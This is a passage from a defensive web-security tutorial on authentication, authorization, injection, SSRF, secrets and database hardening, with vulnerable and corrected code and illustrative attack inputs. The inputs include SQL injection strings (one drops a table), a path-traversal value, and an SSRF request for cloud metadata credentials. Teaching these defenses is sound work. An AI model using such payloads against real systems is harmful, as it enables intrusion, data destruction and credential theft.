What

Two ways to remember a logged-in user: a server session (an id in a cookie, state in your store) or a JWT (a signed, self-contained token the server can verify without lookup).

Why

The trade-off is revocation vs scale. Sessions revoke instantly but need a store; JWTs scale statelessly but are hard to invalidate before expiry.

How

Default to sessions in an HttpOnly cookie. If you use JWTs, keep them short-lived with refresh tokens, and verify the algorithm server-side.

Where the trust lives
  SESSION (stateful)              JWT (stateless)
  cookie: sid=abc  ──►  store     header.payload.signature  ──► verify sig
             │  look up abc              │  math only, no lookup
             ▼                           ▼
   revoke = delete row (instant)   revoke = ??? valid until it EXPIRES
   scale  = shared session store   scale  = nothing to share (nice)
   pick sessions unless you truly need stateless; then keep TTL tiny + refresh
🧠
Analogy 1 — a coat-check ticket vs a signed wristband: the ticket (session) means nothing without the coat-check's ledger — they can void your ticket instantly. The wristband (JWT) is self-proving, so anyone can check it fast — but you can't un-issue it; you wait for it to fade.
🎫
Analogy 2 — a concert re-entry stamp: once stamped, security waves you in without a database — great for huge crowds. But if they need to ban someone mid-show, a stamp is useless. Short-lived stamps + a re-check gate is the compromise.
If you use JWT: short TTL, pin the algorithm
// ❌ long-lived, unrevocable, and algorithm not pinned
jwt.verify(token, secret)                 // accepts whatever alg the token claims

// ✅ verify with an EXPLICIT algorithm and short lifetime + refresh flow
const access = jwt.sign({ sub: user.id }, KEY, { algorithm: 'RS256', expiresIn: '10m' })
jwt.verify(token, PUBLIC_KEY, { algorithms: ['RS256'] })  // reject 'none' & alg-swap
// keep a server-side denylist / token version to force logout on password change
🧒
In plain wordsAfter you log in, the site needs to remember it's you. Option A: it keeps a note in its own filing cabinet and gives you a claim ticket (session) — easy to tear up if needed. Option B: it gives you a tamper-proof badge it can read without any filing cabinet (JWT) — great for huge scale, but hard to cancel early. Most apps are happiest with Option A.

✅ Do

  • Prefer server sessions in HttpOnly cookies for typical web apps
  • Keep JWTs short-lived; use refresh tokens and a revocation/version check
  • Pin the signing algorithm on verify; rotate signing keys

❌ Don't

  • Store long-lived JWTs in localStorage
  • Trust the token's own alg header — that enables the "alg: none" and RS→HS swap attacks
Gotcha: the classic JWT break is the algorithm-confusion attack — a library that trusts the token's alg field lets an attacker set alg: none (no signature) or swap RS256→HS256 and sign with your public key as the HMAC secret. Always pass an explicit allowlist of algorithms to verify, and never accept unsigned tokens.
14Password storage — hashing done right

Scenario: your users table leaks. If passwords are plaintext or MD5, every account — and every account those people reused the password on — is compromised in minutes via rainbow tables. If they're bcrypt/argon2 with per-user salts, the attacker faces years of brute force per password. The hash choice is the outcome.

What

Store passwords as a slow, salted one-way hash (bcrypt, scrypt, or argon2id) — never plaintext, never fast hashes like MD5/SHA-1/SHA-256.

Why

Databases leak. A slow hash makes each guess expensive; a per-user salt defeats rainbow tables and stops one crack from cracking all.

How

Use a purpose-built password hasher with a tuned work factor. Verify in constant time. Re-hash on login when you raise the cost.

Fast hash = cracked; slow + salted = safe
  PLAINTEXT / MD5(password)     bcrypt(password, salt, cost=12)
  ┌───────────────────────┐    ┌────────────────────────────────┐
  │ leak → instant reveal  │    │ leak → each guess costs ~250ms  │
  │ rainbow tables: seconds│    │ per-user salt: no shared tables │
  │ same pw = same hash    │    │ same pw = different hash        │
  └───────────────────────┘    └────────────────────────────────┘
  billions of guesses/sec  vs  a few thousand/sec — that gap is the defense
🧠
Analogy 1 — a safe with a slow dial vs a screen door: MD5 is a screen door — a thief walks through. bcrypt is a vault whose dial takes a quarter-second per try; guessing billions of combinations now takes lifetimes. The slowness is the whole point.
🧂
Analogy 2 — a unique spice in every dish: a salt means two people with the same password get different hashes, so a thief can't cook one giant lookup table ("rainbow table") that cracks everyone at once. Each password must be attacked alone.
A real hasher with a tuned cost — plus constant-time verify
import argon2 from 'argon2'

// ✅ register — argon2id with sane memory/time cost; salt is handled for you
const hash = await argon2.hash(password, { type: argon2.argon2id })
//   → $argon2id$v=19$m=65536,t=3,p=4$<salt>$<hash>   (salt embedded)

// ✅ login — constant-time compare, no early-exit timing leak
const ok = await argon2.verify(userRow.passwordHash, password)

// ❌ NEVER: db.save({ password })                       // plaintext
// ❌ NEVER: sha256(password)  /  md5(password)          // fast + unsalted
// ❌ NEVER: if (hash === computed)                        // timing side-channel
🧒
In plain wordsNever keep the actual password. Instead store a scrambled version that can't be un-scrambled, made slow on purpose so guessing is painfully expensive, and mixed with a unique random "salt" per person so a stolen file can't be cracked all at once. Use a tool built for this (bcrypt/argon2) — don't invent your own.

✅ Do

  • Use argon2id or bcrypt with a tuned work factor and per-user salt
  • Verify in constant time; re-hash on login when you raise the cost
  • Add a pepper (a secret stored outside the DB) for extra depth

❌ Don't

  • Use MD5, SHA-1/256, or any fast hash for passwords; never store plaintext
  • Roll your own hashing, reuse one salt, or compare with ===
Gotcha: SHA-256 is a great hash for files and a terrible one for passwords — precisely because it's fast, an attacker computes billions per second on a GPU. Password hashing wants the opposite of speed. And bcrypt silently truncates input beyond 72 bytes, so very long passphrases can collide — pre-hash to a fixed length or use argon2 to avoid the trap.
15Broken access control — IDOR & BOLA★ #1 risk

Scenario: GET /api/orders/1041 returns the logged-in user's order. They change it to 1042 and read a stranger's order — name, address, items. You authenticated them but never checked they own object 1042. This one bug class — IDOR/BOLA — tops the OWASP list and leaks more data than any exotic exploit.

What

Insecure Direct Object Reference / Broken Object-Level Authorization: the API returns an object based on an id the user supplies, without checking they're allowed that object.

Why

It's trivial to exploit (increment a number) and catastrophic (mass data exposure). It's OWASP A01 — the most common serious web flaw.

How

On every object access, check ownership/role server-side using the session identity — scope the query to the user, don't filter after fetching.

Authenticated ≠ authorized for THIS object
   user A logged in ──► GET /api/orders/1042   (not theirs)
                              │
        ❌ SELECT * FROM orders WHERE id = 1042        → returns B's order
        ✅ SELECT * FROM orders WHERE id = 1042
                             AND owner_id = :sessionUser  → returns nothing

   the id comes from the URL (attacker-controlled); the owner check
   must come from the SIGNED SESSION, never from the request.
🧠
Analogy 1 — a hotel key that opens by room number, not your room: you ask for "room 1042" and the desk hands you a key without checking it's your room. Guessing numbers opens every door. The fix: the desk only ever opens the room tied to your booking.
🗄️
Analogy 2 — a filing clerk who fetches any file you name: you say "file 1042" and the clerk brings it, no matter whose it is. A good clerk checks the label against your name first. The object id is the file number; ownership is your name.
Scope the query to the user — don't filter after
// ❌ IDOR — fetches by client id, ownership never checked
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.order(req.params.id)      // any id works
  res.json(order)
})

// ✅ bind the object to the session user IN THE QUERY
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = $1 AND owner_id = $2',
    [req.params.id, req.user.id])                  // owner from SESSION, not URL
  if (!order) return res.status(404).end()         // 404: don't reveal existence
  res.json(order)
})
🧒
In plain wordsLots of apps look up your stuff by a number in the web address. If they forget to check that the stuff actually belongs to you, anyone can just change the number and peek at other people's private data. The fix is simple but must be everywhere: on every request, make sure this logged-in person owns that exact thing.

✅ Do

  • Add the ownership/role condition to the database query itself
  • Derive the user from the session/token; never trust a client-supplied owner id
  • Test every endpoint as "another user" — automate IDOR checks in CI

❌ Don't

  • Assume sequential/guessable ids are "hidden" — UUIDs help but aren't authorization
  • Authorize only on the "list" endpoint and forget the "detail"/"update"/"delete" ones
Gotcha: access control can't be a shared middleware alone — it's per object, per action. Teams protect GET /orders/:id and forget PATCH /orders/:id, DELETE, or a nested /orders/:id/items/:itemId. Function-level checks (can this role hit this route) miss object-level ones (does this user own this row). You need both, on every endpoint — which is why it's the hardest vuln to fully kill.
16Input validation & output encoding

Scenario: a field expects a 5-digit zip. An attacker sends a 40KB string, or SQL, or a ../../etc/passwd path, or a negative quantity that credits their account. Because you accepted whatever arrived and used it raw, one field becomes the doorway for injection, overflow, and logic abuse.

What

Two complementary habits: validate input (accept only what fits an allowlist/shape) and encode output (escape data for wherever it's about to be used).

Why

Most injection (XSS, SQLi, command, path) starts as untrusted input used unsafely. Validation shrinks the attack surface; encoding neutralizes what slips through.

How

Validate on the server against a strict schema (type, length, range, allowlist). Encode at the point of use for the specific context.

Allowlist in · context-encode out
   untrusted input
        │
        ▼  VALIDATE (allowlist)  — type? length? range? enum? shape?
        │      reject early, at the boundary, on the SERVER
        ▼  use it…
        ├─ into HTML   → HTML-encode      (XSS,  topic 6)
        ├─ into SQL    → parameterize     (SQLi, topic 22)
        ├─ into a shell→ don't; use APIs / arg arrays
        └─ into a path → resolve + confine to a base dir (no ../ escape)
   "reject bad input" AND "encode for the destination" — you need both
🧠
Analogy 1 — a bouncer with a dress code, plus a translator inside: validation is the dress code at the door (only what fits gets in). Encoding is the translator who makes sure whatever a guest says can't be mistaken for a staff command. Door check plus safe translation — not one or the other.
🧪
Analogy 2 — a lab intake form: you reject samples that aren't the right type or size (validate), and you always handle them with the right container for the next machine (encode). Wrong container downstream and the "sample" reacts with the equipment.
Schema-validate at the edge; encode per context
import { z } from 'zod'

// ✅ allowlist shape — reject anything that doesn't fit, before use
const Order = z.object({
  zip:      z.string().regex(/^\d{5}$/),
  quantity: z.number().int().positive().max(100),   // no negatives, no overflow
  note:     z.string().max(500)
})
const data = Order.parse(req.body)   // throws on bad input → 400

// ✅ then ENCODE for the destination (never reuse the same escaping everywhere)
res.send(`<p>${htmlEncode(data.note)}</p>`)         // HTML context
db.query('INSERT INTO orders(zip) VALUES ($1)', [data.zip])  // SQL: parameterize
🧒
In plain wordsDecide exactly what each field is allowed to be (a 5-digit zip, a positive number) and throw away anything that doesn't fit — on your server, not just in the browser. Then, whenever you put that data somewhere (a web page, a database query), wrap it safely for that place so it can't turn into commands. Check what comes in; wrap what goes out.

✅ Do

  • Validate with an allowlist schema (type, length, range, enum) server-side
  • Encode/escape at the exact point of use, matched to the context
  • Normalize first (Unicode, path) so ../ and homoglyph tricks can't sneak through

❌ Don't

  • Rely on blocklists of "bad characters" — allowlists beat them
  • Trust client-side validation, or reuse one escaping for every context
Gotcha: validation and encoding are not interchangeable. Validation alone can't safely allow a name like O'Brien into SQL — the apostrophe is legal input but dangerous in the wrong context; only parameterization makes it safe. Encoding alone can't stop a 40KB payload or a negative price. You need the allowlist and the context-correct output handling — dropping either reopens a whole vuln class.
17SSRF — making your server fetch evil★ critical

Scenario: your app fetches a user-supplied image URL to make a thumbnail. An attacker submits http://169.254.169.254/latest/meta-data/iam/security-credentials/. Your server — trusted inside the network — dutifully fetches the cloud metadata endpoint and hands the attacker your IAM credentials. The request came from inside the house.

What

Server-Side Request Forgery: the attacker makes your server send HTTP requests to targets they choose — internal services, cloud metadata, localhost admin panels.

Why

Your server sits inside the trust perimeter. It can reach internal-only endpoints a remote attacker can't — so they borrow it. It's OWASP A10.

How

Allowlist destinations, block private/link-local IP ranges (after DNS resolution), disable redirects, and don't return raw fetch responses to the user.

The server is the attacker's proxy into the network
   attacker ──"fetch this url"──► YOUR SERVER ──► 169.254.169.254 (cloud metadata)
                                       │              └─► IAM keys ──► back to attacker
                                       ├──► http://localhost:9200 (internal Elastic)
                                       └──► http://10.0.0.5/admin  (internal panel)

   the internet can't reach those IPs — but your server can.
   defense: resolve DNS → reject private/link-local ranges → no redirects
🧠
Analogy 1 — tricking the office mailroom: an outsider can't wander your corporate halls, but they can mail a request to your mailroom: "go grab the file from the CEO's locked drawer and mail it back." The mailroom has access they don't. SSRF is abusing a trusted insider to run errands.
📞
Analogy 2 — a switchboard that dials anything: you ask the operator to "connect me to extension 169," and it happily patches you into internal-only lines. The fix is an operator with a short list of allowed numbers who refuses the rest.
Allowlist hosts, block internal ranges after DNS
import dns from 'node:dns/promises'
import ipaddr from 'ipaddr.js'

async function safeFetch(userUrl) {
  const url = new URL(userUrl)
  if (!['http:', 'https:'].includes(url.protocol)) throw new Error('scheme')
  if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error('host not allowed')

  // resolve DNS and REJECT private / link-local (defeats DNS-rebinding + metadata)
  const { address } = await dns.lookup(url.hostname)
  const range = ipaddr.parse(address).range()
  if (['private','loopback','linkLocal','uniqueLocal'].includes(range))
    throw new Error('blocked internal address')

  return fetch(url, { redirect: 'error', signal: AbortSignal.timeout(3000) })
}
// ❌ fetch(req.body.url)   // hands your server to the attacker
🧒
In plain wordsSometimes your server fetches a web address the user gives it (like grabbing an image). A trickster gives it a secret internal address that only your server can reach — like the cloud's "here are your master keys" page — and your server fetches it and hands it over. The fix: only let your server visit a short list of safe outside addresses, and never internal ones.

✅ Do

  • Allowlist destination hosts and schemes; resolve DNS and block private/link-local IPs
  • Disable redirect-following; set tight timeouts; require IMDSv2 in the cloud
  • Put outbound fetchers on an egress-restricted network segment

❌ Don't

  • Fetch a raw user URL, or return the fetched body verbatim to the user
  • Blocklist only 169.254.169.254 — attackers use redirects, DNS rebinding, and IPv6
Gotcha: validating the URL string isn't enough — DNS rebinding lets a hostname pass your allowlist check, then resolve to 127.0.0.1 a moment later when you actually fetch. You must check the resolved IP at connection time, block redirects (a public URL can 302 to an internal one), and remember IPv6 and octal/decimal IP encodings all reach localhost too.
18Mass assignment — over-posting hidden fields

Scenario: your signup handler does db.users.create(req.body). A user POSTs the normal form plus "role": "admin" and "isVerified": true. Your ORM happily binds them, and the attacker just made themselves an admin. You never exposed those fields in the UI — but the API bound whatever arrived.

What

Mass assignment (over-posting): binding a whole request body straight onto a model, so the client can set fields you never meant to expose.

Why

ORMs make "save the whole object" one line — and that one line trusts the client to only send safe fields. They don't.

How

Allowlist the exact fields a caller may set. Bind only those; ignore everything else. Never assign privileged fields from user input.

The body carries fields the form never showed
   form fields:  { name, email, password }
   attacker POST: { name, email, password, role:"admin", isVerified:true,
                    balance: 999999 }
        │
   ❌ User.create(req.body)         → binds role, isVerified, balance too
   ✅ User.create(pick(req.body, ['name','email','password']))
                                     → extra fields silently dropped
   the UI is irrelevant; the API must decide what's assignable.
🧠
Analogy 1 — a job application that sets your own salary: the form asks for name and role preference, but a sneaky applicant scribbles "Title: CEO, Salary: $1M" in the margin — and HR types in everything on the page. The fix: HR only copies the fields the form officially has.
📋
Analogy 2 — a customs form you fill in yourself: if the officer stamps whatever you wrote without checking which boxes you're allowed to fill, you'd declare yourself duty-free. Allowlisting is the officer only reading the boxes travelers may complete.
Bind an explicit allowlist, never the raw body
// ❌ mass assignment — client controls EVERY column
const user = await User.create(req.body)

// ✅ pick only the fields a signup is allowed to set
const CREATABLE = ['name', 'email', 'password']
const input = Object.fromEntries(
  Object.entries(req.body).filter(([k]) => CREATABLE.includes(k)))
const user = await User.create({ ...input, role: 'user', isVerified: false })
//   role & isVerified are set by the SERVER, never from req.body
🧒
In plain wordsWhen a form is submitted, sneaky users can add extra hidden answers you didn't ask for — like secretly writing "make me an admin" on the form. If your code blindly saves everything it receives, it obeys them. The fix: your code should only copy the specific answers you actually asked for and ignore the rest.

✅ Do

  • Allowlist assignable fields per action (create vs update differ)
  • Set privileged fields (role, ownerId, prices) server-side only
  • Use DTOs / strong params / schema parsing to shape the input

❌ Don't

  • Pass req.body straight into create/update/assign
  • Rely on the field being absent from the UI — the API is the boundary
Gotcha: update endpoints are sneakier than create — a "edit profile" call that binds the body can let a user flip ownerId to steal a record, or set emailVerified to skip a check. And nested objects are the blind spot: allowlisting top-level keys but then binding req.body.address wholesale re-opens the hole one level down. Shape every level.
19Rate limiting & brute-force defense

Scenario: your login endpoint accepts unlimited attempts. An attacker takes a leaked password list and tries the top 1,000 passwords against 100,000 usernames ("credential stuffing"). With no limit, they crack thousands of accounts overnight — and your SMS/verification endpoints get abused into a five-figure bill.

What

Rate limiting caps how many requests an identity can make in a window. For auth, it blunts brute-force and credential stuffing.

Why

Cheap, automated guessing is only stopped by making it expensive. Limits also protect costly actions (email/SMS, search) from abuse and DoS.

How

Limit per IP and per account, add exponential backoff/lockout on failures, require CAPTCHA/MFA after thresholds, and return 429 with Retry-After.

Turn "unlimited guesses" into "a handful"
  no limit:  ●●●●●●●●●●●●●●●●●●●●  1000s of guesses/sec → cracked
  limited:   ●●●●● ✋ 429 ─ wait ─ ●●●●● ✋   ~5 tries / 15 min / account

  layers:
    per-IP limit      → stops one host hammering
    per-ACCOUNT limit → stops distributed guessing of ONE user
    backoff + lockout → each failure widens the delay
    CAPTCHA / MFA     → kicks in after N failures (human check)
🧠
Analogy 1 — an ATM that eats the card after 3 wrong PINs: unlimited tries makes a 4-digit PIN worthless; three-then-lock makes it strong. Rate limiting is that lockout — the secret didn't change, the number of guesses did.
🚰
Analogy 2 — a tap with a flow restrictor: the water (requests) still flows for real users, but a firehose of abuse is throttled to a trickle. Legitimate traffic barely notices; automated floods hit the wall.
Limit per IP and per account; back off on failure
import rateLimit from 'express-rate-limit'

// per-IP cap on the login route
const loginLimiter = rateLimit({
  windowMs: 15 * 60_000, max: 20,          // 20 attempts / 15 min / IP
  standardHeaders: true,                    // sends RateLimit + Retry-After
  message: { error: 'too many attempts, slow down' }
})
app.post('/login', loginLimiter, async (req, res) => {
  const fails = await incrFailures(req.body.email)      // ALSO per-account
  if (fails > 5) return res.status(429).set('Retry-After', '900').end()
  // …verify password; on success resetFailures(email)
})
// generic errors: never reveal "user exists" vs "wrong password" (enumeration)
🧒
In plain wordsIf a website lets someone guess passwords as fast as they want, computers will guess millions until they get in. Rate limiting is like an ATM that locks after a few wrong tries — real users are fine, but robots trying endless guesses get stopped. You also cap expensive actions (like sending texts) so nobody can run up your bill.

✅ Do

  • Limit per IP and per account; add backoff, lockout, and CAPTCHA/MFA after failures
  • Return 429 with Retry-After; keep counters in a shared store (Redis)
  • Rate-limit costly endpoints too (email/SMS, password reset, search, signup)

❌ Don't

  • Limit by IP only — attackers rotate IPs and target one account across many
  • Leak whether the username exists via different errors or timings (enumeration)
Gotcha: per-IP-only limiting is defeated by credential stuffing from botnets — thousands of IPs each make a few "legitimate-looking" attempts against different accounts, staying under your per-IP cap. You need a per-account counter and anomaly detection (many accounts failing from a new ASN) too. And behind a proxy/CDN, limit on the real client IP (X-Forwarded-For from a trusted hop), or everyone shares one bucket.
20Security headers — the HTTP armor

Scenario: a security scan flags your app: no HSTS (downgradable to HTTP), no X-Content-Type-Options (MIME sniffing), no CSP, framable (clickjacking). None is a single dramatic exploit — but together they're a stack of open doors an attacker walks through, all fixable with a few response headers you can set in one place.

What

A set of HTTP response headers that instruct the browser to enforce protections: HSTS, CSP, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and frame controls.

Why

They're high-value, low-effort defense-in-depth — each closes a class of downgrade, sniffing, framing, or leakage attack for free.

How

Set them centrally (a middleware like helmet, or the edge/CDN), then verify on the live response — configs lie; headers on the wire don't.

A few headers, several attack classes closed
  Strict-Transport-Security: max-age=31536000; includeSubDomains  → no HTTP downgrade
  Content-Security-Policy: default-src 'self'; …                  → XSS backstop (t7)
  X-Content-Type-Options: nosniff                                → no MIME sniffing
  Referrer-Policy: strict-origin-when-cross-origin               → no URL leakage
  Permissions-Policy: geolocation=(), camera=()                  → drop unused APIs
  X-Frame-Options: DENY  /  frame-ancestors 'none'               → clickjacking (t11)
  → verify:  curl -I https://app.example.com
🧠
Analogy 1 — a building's standard safety fittings: smoke alarms, fire doors, exit signs. None is exciting, and any one alone won't save you — but a building with all of them is dramatically safer, and inspectors check they're actually installed, not just on the blueprint.
🧰
Analogy 2 — seatbelt, airbags, ABS: passive protections you set once and forget. They don't prevent crashes; they cut the damage when something else fails. Security headers are the car's standard safety package for the browser.
Set centrally, then verify on the wire
import helmet from 'helmet'
app.use(helmet({
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
  contentSecurityPolicy: { directives: { defaultSrc: ["'self'"] } },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  frameguard: { action: 'deny' }
}))
# configs lie; verify the ACTUAL response headers
$ curl -sI https://app.example.com | grep -iE 'strict-transport|content-security|x-content'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
🧒
In plain wordsYour server can send a few extra instructions with every page that tell the browser "always use the secure connection," "don't guess file types," "don't let other sites frame me," and "don't run unknown scripts." Each is a small rule that closes a common trick. They're cheap to add and you set them once for the whole site.

✅ Do

  • Set HSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy centrally
  • Verify headers on the live response, on every environment
  • Preload HSTS once you're confident all subdomains are HTTPS

❌ Don't

  • Assume the header is set because it's in your config — proxies strip and override
  • Enable HSTS preload before every subdomain is HTTPS (it's hard to undo)
Gotcha: headers are easily lost in the request path — a reverse proxy, CDN, or load balancer can strip or overwrite what your app sets, so the page your app "secured" arrives naked at the browser. The only source of truth is curl -I against the public URL. And HSTS preload is a one-way door: browsers hard-code it, so a subdomain you forgot to move to HTTPS becomes unreachable.
21Secrets management & rotation

Scenario: a developer commits .env with the production database password and a cloud key "just for a minute." It's in git history forever, the repo goes public during a migration, and bots scraping GitHub find the key in under a minute. The secret leaked not through a hack, but through a commit.

What

Secrets management: how API keys, DB passwords, and signing keys are stored, delivered to apps, and rotated — without ever landing in code, logs, or images.

Why

Secrets in git, env dumps, or logs are the most common credential leak. And a secret you can't rotate quickly turns a small leak into a long exposure.

How

Store in a dedicated manager (Vault, cloud Secrets Manager), inject at runtime, scope + expire them, scan commits, and make rotation a routine, not an emergency.

Keep secrets out of the code path entirely
   ❌ in the repo / image / logs           ✅ in a secrets manager
   ┌───────────────────────────┐          ┌───────────────────────────┐
   │ .env committed to git      │          │ Vault / Secrets Manager    │
   │ hard-coded API_KEY = "…"    │          │  ├─ scoped + short-lived   │
   │ console.log(config)         │          │  ├─ audit log of every read│
   │ baked into Docker layer     │          │  └─ rotate without deploy  │
   └───────────────────────────┘          └───────────────────────────┘
        leaks forever                    injected at runtime, rotatable
🧠
Analogy 1 — house keys under the doormat vs a key safe: a key in your code is the spare under the mat — anyone who looks finds it, and you can't change the lock easily. A secrets manager is a key safe that logs every access and lets you re-key in seconds.
🔑
Analogy 2 — a hotel that re-keys after every guest: even if a key card walks out the door, it stops working at checkout. Rotation is scheduled re-keying — a leaked secret has a short shelf life instead of an infinite one.
Inject at runtime; never commit; make rotation routine
// ✅ read from the environment/manager at runtime — nothing hard-coded
const dbUrl = process.env.DATABASE_URL     // injected from Vault/Secrets Manager
// even better: fetch a SHORT-LIVED credential per boot
const { username, password } = await vault.read('database/creds/app')  // 1h TTL

// ❌ const API_KEY = 'sk_live_9f3...'      // in code = in git = leaked forever
// ❌ console.log(process.env)              // dumps every secret into logs
# stop leaks before they land: scan staged changes & history in CI
$ gitleaks protect --staged        # block the commit if a secret is detected
$ git rm --cached .env && echo ".env" >> .gitignore
# and if one leaked: ROTATE it (assume it's compromised) — removing the commit is not enough
🧒
In plain wordsPasswords and keys should never be typed into your code or saved in your project files — because those get shared, backed up, and posted online, and then anyone can use them. Instead, keep them in a special locked vault that hands them to your app only when it runs, logs who took them, and lets you swap them out fast. And if one ever leaks, change it immediately — deleting the file isn't enough.

✅ Do

  • Store secrets in a manager; inject at runtime; scope and expire them
  • Scan commits/CI for secrets (gitleaks) and block leaks pre-merge
  • Rotate on a schedule and immediately on any suspicion of exposure

❌ Don't

  • Commit .env, hard-code keys, or bake secrets into Docker images
  • Log full config/objects, or assume deleting the commit "un-leaks" a secret
Gotcha: once a secret hits git history, deleting the file in a new commit does nothing — it's still in every clone and the reflog. The only safe response is to rotate the secret (invalidate it at the source) and, secondarily, purge history. Treat "was it ever committed?" as "assume it's public." Baking secrets into Docker image layers is the same trap: docker history reveals them.
Part IV · Database Security
22SQL injection & parameterized queries★ critical

Scenario: your login builds a query by string concat: "… WHERE user='" + name + "'". An attacker types ' OR '1'='1' -- as the username. The query becomes always-true and logs them in as the first user — often the admin. Or they append ; DROP TABLE users -- and the table is gone. The input became SQL.

What

SQL injection: untrusted input concatenated into a query string is parsed as SQL syntax, letting the attacker rewrite the query — read, alter, or destroy data.

Why

It's the archetypal injection (OWASP A03) and among the most damaging — full database read/write, auth bypass, even OS access via DB features.

How

Parameterize: send SQL and data on separate channels so input is always data, never code. Use prepared statements / an ORM's binding — everywhere.

Concatenation mixes code + data; binding keeps them apart
  ❌ "SELECT * FROM users WHERE name = '" + input + "'"
        input =  ' OR '1'='1' --
     →  SELECT * FROM users WHERE name = '' OR '1'='1' --'   (always true)

  ✅ "SELECT * FROM users WHERE name = $1"     params: [input]
        the driver sends the query and $1 SEPARATELY
     →  input is bound as a literal string; it can NEVER become syntax
   code channel │ data channel  — the separation IS the defense
🧠
Analogy 1 — filling in a form vs rewriting the contract: a parameter is a blank you fill on a printed contract — you can't add new clauses. String-building hands the attacker a blank contract and a pen; they rewrite the terms. Binding keeps the contract fixed and only lets them fill blanks.
📮
Analogy 2 — a mail-merge vs typing each letter by hand: mail-merge drops the name into a fixed template — the name can't change the letter's meaning. Hand-typing every letter lets a clever "name" like "Bob, and also wire me $1000" become part of the message.
Bind parameters — never build SQL from strings
// ❌ string concatenation → injectable
const q = `SELECT * FROM users WHERE email = '${email}'`
await db.query(q)

// ✅ parameterized / prepared — input is always data
await db.query('SELECT * FROM users WHERE email = $1', [email])

// ✅ ORM does the binding for you
await User.findOne({ where: { email } })

// ⚠️ even "safe" ORMs have raw escape hatches — the rule still applies there
await db.query(`... ORDER BY ${sortCol}`)          // ❌ if sortCol is user input
const col = ALLOWED_COLUMNS[sortCol] ?? 'created_at' // ✅ allowlist identifiers
🧒
In plain wordsIf your app builds database commands by gluing user text into the command, a sneaky user can type text that becomes a command — like slipping "and also delete everything" into a sentence. The fix is to always send the command and the user's text on two separate tracks, so the text can only ever be treated as a value, never as an instruction.

✅ Do

  • Use parameterized queries / prepared statements everywhere, always
  • Allowlist things you can't parameterize (column/table names, sort order)
  • Run the app with a least-privilege DB user (topic 23) to cap the damage

❌ Don't

  • Concatenate input into SQL, even "just this once" or "it's only an internal tool"
  • Trust escaping-by-hand or blocklists of quotes — parameterize instead
Gotcha: parameterization binds values, not identifiers — you can't bind a table name, column, or ORDER BY direction. Those are the sneaky injection points teams miss, because "we use an ORM." Any place user input picks an identifier or raw SQL fragment needs an allowlist (map the input to a fixed set of known-good column names), not string interpolation.
23Least-privilege database users

Scenario: your web app connects to Postgres as the postgres superuser "because it's easier." An SQL injection or a bug now doesn't just read a table — it can DROP DATABASE, read every schema, create users, and on some setups run OS commands. The same injection through a restricted user could only touch a few tables, read-mostly. The DB grant decides the blast radius.

What

Give each app its own DB role with the minimum grants: only the tables it needs, only the operations it performs — no superuser, no DROP, no cross-schema reach.

Why

Least privilege (topic 3) applied to the database. It turns a full compromise into a contained one — the DB itself enforces the limit, even if the app is breached.

How

Create a scoped role, GRANT only needed privileges on needed objects, use separate read/write roles, and connect as that role — never as the admin.

Same injection, capped by the DB role
   APP CONNECTS AS superuser        APP CONNECTS AS app_rw (scoped)
   ┌────────────────────────┐       ┌────────────────────────────┐
   │ read/alter ANY schema   │       │ SELECT/INSERT/UPDATE on the │
   │ DROP DATABASE            │       │  app's tables only          │
   │ CREATE ROLE (backdoor)   │       │  no DROP, no DDL, no roles  │
   │ COPY … TO PROGRAM (RCE)  │       │  reads capped to own schema │
   └────────────────────────┘       └────────────────────────────┘
      one bug = game over               one bug = a few tables
🧠
Analogy 1 — a cashier login, not the store owner's keys: the register app should sign in as a cashier who can ring sales — not as the owner who can empty the safe, fire staff, and sell the building. If the cashier terminal is hacked, the thief is still just a cashier.
🧑‍🔧
Analogy 2 — a contractor with a key to one room: you don't give the plumber the master key to the whole building. Scope the DB role to exactly the rooms (tables) the app works in, and a break-in stays in those rooms.
Create a scoped role; connect as it, not the admin
# ✅ a role that can only do what the app needs
$ psql -c "CREATE ROLE app_rw LOGIN PASSWORD 'from-vault';"
$ psql -c "GRANT CONNECT ON DATABASE shop TO app_rw;"
$ psql -c "GRANT USAGE ON SCHEMA app TO app_rw;"
$ psql -c "GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA app TO app_rw;"
# note: NO delete/drop/ddl/superuser. A read-only reporting job gets its OWN role:
$ psql -c "CREATE ROLE app_ro LOGIN; GRANT SELECT ON ALL TABLES IN SCHEMA app TO app_ro;"

# app connects as app_rw — NEVER as postgres/superuser
# DATABASE_URL=postgres://app_rw:...@db/shop
🧒
In plain wordsYour app has to log in to its database. If it logs in as the all-powerful boss account, then any break-in can wreck everything. Instead, make a limited account that can only touch the app's own tables and only do the things it actually needs. Then even a serious bug can only reach a small corner of the database.

✅ Do

  • Give each app a dedicated role with only the grants it needs
  • Split read-only and read-write roles; keep DDL/admin out of the app role
  • Restrict which hosts/networks may connect (pg_hba, security groups)

❌ Don't

  • Connect the app as postgres/root/superuser
  • Grant broad ALL PRIVILEGES or cross-schema access "to be safe"
Gotcha: a superuser DB connection turns SQL injection into potential remote code execution — Postgres COPY … TO/FROM PROGRAM, untrusted procedural languages, or MySQL INTO OUTFILE let a powerful role run OS commands or write files. A scoped, non-superuser role without those grants keeps an injection bug bounded to data it can already touch. The DB role is your last containment wall when the app fails.
24Encryption at rest & in transit

Scenario: a backup disk is thrown out, a laptop is stolen, or a snapshot bucket is left public. If the database was encrypted at rest, the finder gets ciphertext. If not, they get every customer record. Separately, an internal service talks to the DB over a plain connection, and anyone on the network segment reads credentials off the wire.

What

Two protections for data confidentiality: in transit (TLS on every connection) and at rest (disk/volume/field encryption so stored bytes are unreadable without keys).

Why

It defends against threats you don't control: stolen disks, leaked backups/snapshots, network sniffing, and cloud storage misconfig. OWASP A02.

How

Force TLS everywhere (including internal hops), enable storage encryption, and add application/field-level encryption for the most sensitive columns, with keys in a KMS.

Two different threats, two encryptions
  IN TRANSIT (TLS)                    AT REST (disk/field + KMS)
  app ══TLS══► database              [ encrypted volume ]  ← stolen disk = ciphertext
      no sniffing on the wire        [ field: ssn = enc(…) ] ← even a leaked dump
  internal hops count too!            is unreadable without the KMS key

